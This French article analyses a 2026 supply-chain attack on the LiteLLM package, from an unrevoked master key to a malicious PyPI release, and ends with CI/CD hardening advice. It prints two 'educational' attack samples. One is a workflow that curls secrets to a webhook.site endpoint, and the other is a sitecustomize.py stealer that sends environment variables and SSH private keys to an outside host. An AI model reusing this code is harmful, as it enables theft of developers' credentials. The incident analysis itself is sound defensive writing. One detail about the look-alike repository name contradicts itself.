Fuite de clé maître et attaque de la chaîne d'approvisionnement : l'incident LiteLLM
Isidore Bellemare
Un incident révélateur : quand une clé maître non révoquée ouvre la porte à une attaque de la chaîne d’approvisionnement
Saviez-vous qu’une simple clé d’API oubliée dans un dépôt public peut compromettre l’ensemble de votre chaîne d’approvisionnement logicielle ? En octobre 2026, LiteLLM, une passerelle open source populaire pour les modèles de langage (LLM), en a fait la douloureuse expérience. Un incident de fuite de clé maître survenu en mai 2026, non révoqué, a permis à un attaquant de dérober des jetons GitHub disposant de droits propriétaires, de modifier le pipeline de release et de publier une version malveillante du paquet sur PyPI. Cette attaque de la chaîne d’approvisionnement illustre avec éclat les conséquences désastreuses d’une mauvaise gestion des secrets et d’une gouvernance insuffisante des tokens d’accès.
Selon le rapport 2025 de GitGuardian, plus de 10 millions de secrets uniques ont été exposés sur des dépôts publics GitHub, soit une augmentation de 50 % par rapport à l’année précédente. Parmi eux, des clés d’API, des mots de passe de bases de données, et surtout des tokens d’accès personnels. L’incident LiteLLM montre que même les organisations développant des outils de sécurité peuvent être victimes de ce type de fuite de clé maître. Décortiquons ensemble le déroulé de l’attaque, les mécanismes employés et les leçons à en tirer pour sécuriser vos propres pipelines.
Le scénario de l’attaque : de la fuite initiale à la compromission du pipeline
La clé maître exposée par erreur
Tout commence le 27 mai 2026. Un fichier de configuration est commité dans le dépôt public LiteLLM-Labs/lite-harness. Ce fichier contient par accident la master key (clé maître) d’un déploiement de l’Agent Platform, un outil interne utilisé pour orchestrer des agents. L’erreur est rapidement identifiée par l’équipe : le commit est force-pushé pour le retirer de l’historique, et les clés exposées sont repérées. Cependant, comme l’ont admis Oliver Jensen et Mateo Wang, développeurs de LiteLLM :
« L’erreur a été rapidement identifiée, le commit a été force-pushé, et nous avons identifié que les clés exposées devaient être révoquées. Cependant, la révocation de la clé maître n’a pas eu lieu. »
Ce défaut de révocation sera la faille fatale. Cette fuite de clé maître a sans doute été découverte par un scan automatisé de l’attaquant, qui a exploité cette porte ouverte restée active pendant cinq mois. En France, l’ANSSI recommande dans son guide de sécurisation des pipelines CI/CD de révoquer tout secret exposé dans les 24 heures.
Le moment de l’attaque : octobre 2026
Le 10 octobre 2026, un acteur inconnu (opérant depuis l’adresse IP 69.48.229.143) utilise cette clé maître non révoquée pour accéder à l’Agent Platform de LiteLLM. Une fois à l’intérieur, il extrait un jeton OAuth GitHub CLI que la plateforme utilisait pour permettre à des agents cloud de soumettre des pull requests sur les dépôts GitHub. Ce jeton n’était pas scoped down : il était associé au compte propriétaire de l’organisation GitHub, offrant ainsi un accès de niveau propriétaire à tous les dépôts.
« Le jeton n’était pas limité en portée et était associé au compte du propriétaire de l’organisation. » - Oliver Jensen, LiteLLM
Avec ce jeton, l’attaquant possédait les clés du royaume : il pouvait lire, écrire, modifier tous les dépôts, y compris les pipelines de release. Dans la pratique, un jeton aussi puissant ne devrait jamais être stocké dans un service accessible depuis l’extérieur. Une bonne pratique aurait été d’utiliser un jeton dédié avec des permissions minimales et une durée de vie limitée.
Acquisition de jetons supplémentaires et contournement des protections
Le 10 octobre entre 22h11 et 22h12 UTC, l’attaquant crée des branches temporaires (branches throwaway) dans les dépôts internes BerriAI/litellm et BerriAI/litellm-auto. Il y commit des workflows malveillants conçus pour dérober les jetons OAuth GitHub CLI de deux ingénieurs disposant de privilèges de maintainer. Ces jetons sont exfiltrés vers un endpoint webhook.site contrôlé par l’attaquant. Les branches sont supprimées quelques minutes plus tard, ne laissant presque aucune trace dans l’historique.
Manipulation du pipeline de release
Le 21 octobre, entre 10h08 et 11h08 UTC, l’attaquant utilise l’un des jetons volés pour outrepasser la protection de branche et modifier le pipeline de release. La fuite de clé maître initiale a ainsi permis l’escalade vers des jetons plus puissants, qui ont servi à modifier la source du dépôt de BerriAI/litellm vers un dépôt au nom similaire Berri-AI/litellm (avec un tréma, subtile différence). Ce dépôt malveillant contient une version préparée du paquet LiteLLM.
Comment cela a-t-il été possible ? LiteLLM avait assoupli les restrictions de déploiement pour accélérer les cycles de release, permettant à deux ingénieurs de déclencher et approuver une release. L’attaquant, disposant du jeton propriétaire, a pu déclencher la release lui-même et l’approuver avec un second jeton volé. Les mécanismes de double validation ont été contournés car l’attaquant contrôlait plusieurs jetons.
Chronologie de la compromission
- 21 octobre, 11h39-11h40 UTC : La version 1.107.0 de LiteLLM est publiée sur PyPI.
- 21 octobre, 11h46 UTC : Les images Docker sont poussées sur Docker Hub et GHCR.
- 21 octobre, 11h53-11h54 UTC : Les enregistrements des exécutions de production et de staging sont supprimés.
- 21 octobre, 12h06 UTC : L’attaque est détectée par Lidor Machluf, chercheur chez Upwind, qui la signale.
- 21 octobre, 13h23 UTC : PyPI met en quarantaine la version 1.107.0.
- 21 octobre, 14h20 UTC : Docker Hub supprime ou repointe les tags compromis vers des images saines.
L’attaquant a donc disposé d’environ une heure pour diffuser le paquet malveillant avant d’être détecté. Un délai suffisant pour potentiellement infecter un grand nombre d’utilisateurs. Selon le rapport 2025 de Sonatype, le temps moyen de détection d’un paquet malveillant dans un registre public est de 3 jours, ce qui rend la détection en une heure plutôt rapide, mais le mal était déjà fait.
Les workflows malveillants : une moisson de secrets ciblée
Selon l’analyse de Socket, deux commits malveillants ont été ajoutés à des branches éphémères nommées ci-tmp-<hex>. Chaque commit créait un fichier .github/workflows/cache.yml dont l’objectif était d’exfiltrer des secrets.
Karlo Zanki, chercheur chez Socket, explique : « Les deux commits s’appuient sur un commit légitime comme base de branche pour rendre le push apparemment anodin. »
Premier workflow (10 octobre)
Le premier workflow récoltait les secrets suivants :
- Jetons GitHub (via
secrets.GITHUB_TOKENet le jeton OAuth) - Clé API de Linear (gestion de projet)
- Clé API de Together AI (inférence LLM)
- Identifiant et clé de signature d’une GitHub App
Second workflow (12 octobre)
Le second workflow étendait la collecte à un ensemble plus large de secrets :
- Clés API Anthropic, OpenAI, AWS Bedrock, Tavily
- Clé API GitGuardian : particulièrement dangereuse car elle permet de visualiser et potentiellement de supprimer les alertes de secret scanning
- Playwright storage state : session navigateur sérialisée donnant accès au compte Linear sans mot de passe ni MFA
- Informations de base de données PostgreSQL (chaîne de connexion, mot de passe)
- Adresse, port et mot de passe d’un serveur Redis
Les données étaient envoyées vers deux endpoints webhook.site distincts, assurant une redondance en cas de blocage. L’exfiltration de la clé GitGuardian montre une connaissance fine des défenses : en contrôlant les alertes de fuite de clé maître ou d’autres secrets, l’attaquant pouvait opérer sans être repéré.
# Exemple simplifié d'un workflow malveillant (version éducative)
name: ci-cache
on: [push]
jobs:
steal:
runs-on: ubuntu-latest
steps:
- name: Exfiltrate secrets
env:
TOKEN: ${{ secrets.GITHUB_TOKEN }}
LINEAR_API_KEY: ${{ secrets.LINEAR_API_KEY }}
run: |
curl -X POST -d "token=$TOKEN&linear=$LINEAR_API_KEY" \
https://webhook.site/65a42464-3cfa-4b02-a18c-17a6d7b86f37
Tableau des secrets exfiltrés
| Type de secret | Source | Impact potentiel |
|---|---|---|
| Jeton OAuth GitHub (propriétaire) | Agent Platform | Accès total à tous les dépôts |
| Jetons GitHub CLI de maintainers | Workflow | Contournement des validations |
| Clé API Linear | Workflow | Accès à la gestion de projet |
| Clés API OpenAI, Anthropic, AWS Bedrock | Second workflow | Utilisation des services LLM |
| Clé API GitGuardian | Second workflow | Contrôle des alertes de fuite |
| Session Playwright Linear | Second workflow | Accès sans MFA |
| Identifiants PostgreSQL/Redis | Second workflow | Accès aux bases de données |
Le paquet malveillant 1.107.0 : un double mécanisme de vol et de persistance
Les analyses post-incident ont révélé que le paquet LiteLLM 1.107.0 contenait un code malveillant sophistiqué. Il se composait de deux parties distinctes mais complémentaires.
Un module de vol de credentials (stealer)
Ce module ciblait les identifiants de nombreux outils : SSH, Git, GitLab, npm, PyPI, pip, Yarn, Maven, Gradle, Composer, RubyGems, Cargo, ainsi que les variables d’environnement et les données du navigateur. Les informations collectées étaient compressées et envoyées via une requête HTTP POST à litellm.dev/healthcheck (domaine enregistré le 13 octobre 2026).
Une backdoor Unix
Un processus en arrière-plan était lancé, conçu pour récupérer et exécuter du code arbitraire fourni par l’attaquant toutes les heures. Cela permettait une persistance et une escalade potentielles, même après la suppression du paquet initial.
Exécution automatique au démarrage de Python
Particularité inquiétante : les fichiers malveillants étaient placés dans des emplacements startup de Python (sitecustomize.py ou usercustomize.py), en dehors du répertoire de LiteLLM. Ainsi, même si un utilisateur n’importait jamais LiteLLM, le simple fait de lancer Python dans un environnement affecté déclenchait l’exécution du code. Microsoft Security Research a souligné que « supprimer uniquement les fichiers de l’application pouvait laisser les composants malveillants derrière ».
# Exemple du mécanisme startup (à titre éducatif)
# Fichier sitecustomize.py dans site-packages
import requests
import os
def steal():
data = {
"env": dict(os.environ),
"ssh": open(os.path.expanduser("~/.ssh/id_rsa")).read() if os.path.exists(os.path.expanduser("~/.ssh/id_rsa")) else ""
}
requests.post("https://litellm.dev/healthcheck", json=data)
steal()
Ce mécanisme rend le nettoyage particulièrement difficile et prolonge l’exposition des systèmes infectés.
Les leçons à tirer pour sécuriser vos pipelines CI/CD
L’incident LiteLLM met en lumière plusieurs failles récurrentes dans la sécurité des pipelines de développement. Voici les bonnes pratiques essentielles que vous devez mettre en œuvre.
Pratiques de gestion des secrets
- Révoquez immédiatement tout secret exposé, même si le commit est retiré. Le force-push ne suffit pas : des copies peuvent subsister dans des forks, des caches ou des logs. L’ANSSI recommande une rotation des secrets dans les 24 heures suivant une exposition. Ne laissez pas une fuite de clé maître non traitée pendant des mois.
- Limitez le périmètre des tokens : utilisez des jetons avec des permissions minimales (scoped tokens) et une durée de vie courte. Par exemple, pour un jeton GitHub, limitez l’accès à un seul dépôt et à des actions spécifiques.
- Centralisez la gestion des secrets avec des outils comme HashiCorp Vault, AWS Secrets Manager ou des secrets scanning intégrés (GitGuardian, GitHub Advanced Security). Évitez de stocker des secrets dans des variables d’environnement de CI exposées.
- Auditez régulièrement les secrets : un scan hebdomadaire peut détecter les fuites avant qu’elles ne soient exploitées. Selon une étude de GitGuardian, 30% des fuites ne sont pas détectées par les équipes avant plusieurs semaines. Des outils de détection de fuite de clé maître comme GitGuardian peuvent vous alerter en temps réel.
Renforcement des politiques de déploiement
- Ne jamais assouplir les validations pour accélérer les releases. Les contrôles de double approbation doivent être maintenus, même en période de feature crunch. LiteLLM a admis que l’assouplissement temporaire a été la porte d’entrée.
- Utilisez des environnements de déploiement isolés et des clés signées avec des appareils physiques (comme c’était le cas avant l’assouplissement chez LiteLLM). Ce type de mécanisme empêche un attaquant de déclencher une release même avec des tokens volés.
- Segmentez les accès : un jeton propriétaire ne devrait pas être stocké dans un outil d’orchestration d’agents. Isolez les jetons de déploiement des jetons d’application.
- Surveillez les modifications de pipelines : toute modification des fichiers
.github/workflows/devrait déclencher une alerte et nécessiter une approbation supplémentaire. Des outils comme git diff automatisé peuvent détecter des changements suspects.
Détection et réponse aux incidents
- Analysez les branches éphémères : les attaquants créent souvent des branches temporaires pour masquer leur activité. Activez la journalisation des événements de création et suppression de branches dans GitHub.
- Corrélez les activités suspectes : une suppression d’enregistrements d’exécution peu après un déploiement est un signal fort. Mettez en place des alertes sur les événements d’audit.
- Mettez en place des honeytokens : des jetons factices qui alertent lorsqu’ils sont utilisés peuvent révéler des compromissions précoces. C’est une technique recommandée par l’ANSSI.
- Préparez un plan de réponse incluant la révocation massive de tous les tokens, la mise en quarantaine des paquets et la communication aux utilisateurs. Dans le cas LiteLLM, la réaction a été rapide, mais des améliorations sont possibles.
Utilisation de solutions de supply chain security
Des plateformes comme Socket, Upwind ou les scanners de paquets peuvent détecter un comportement anormal (exfiltration de données, connexions vers des domaines suspects). Intégrez-les à votre pipeline CI/CD. Par exemple, un scan automatique avant publication sur PyPI aurait pu détecter les appels vers litellm.dev/healthcheck.
Conclusion : la vigilance comme rempart
L’incident LiteLLM est un avertissement sévère pour toutes les organisations qui manipulent des clés d’API et des jetons d’accès. Une fuite de clé maître non révoquée a suffi à anéantir des semaines de travail de sécurisation et à exposer des secrets critiques. En suivant les bonnes pratiques décrites dans cet article - rotation systématique des secrets, restriction des permissions, surveillance des pipelines - vous pouvez réduire considérablement le risque qu’un tel incident se reproduise chez vous.
N’attendez pas d’être victime d’une attaque de la chaîne d’approvisionnement pour agir. Auditez dès aujourd’hui vos dépôts GitHub, révoquez les tokens inutilisés, et formez vos équipes aux gestes de sécurité. La fuite de clé maître n’est pas une fatalité : c’est un risque que l’on peut maîtriser avec rigueur et méthode.
« La sécurité est un processus, pas un produit. » - Bruce Schneier, rappel opportun après cet incident.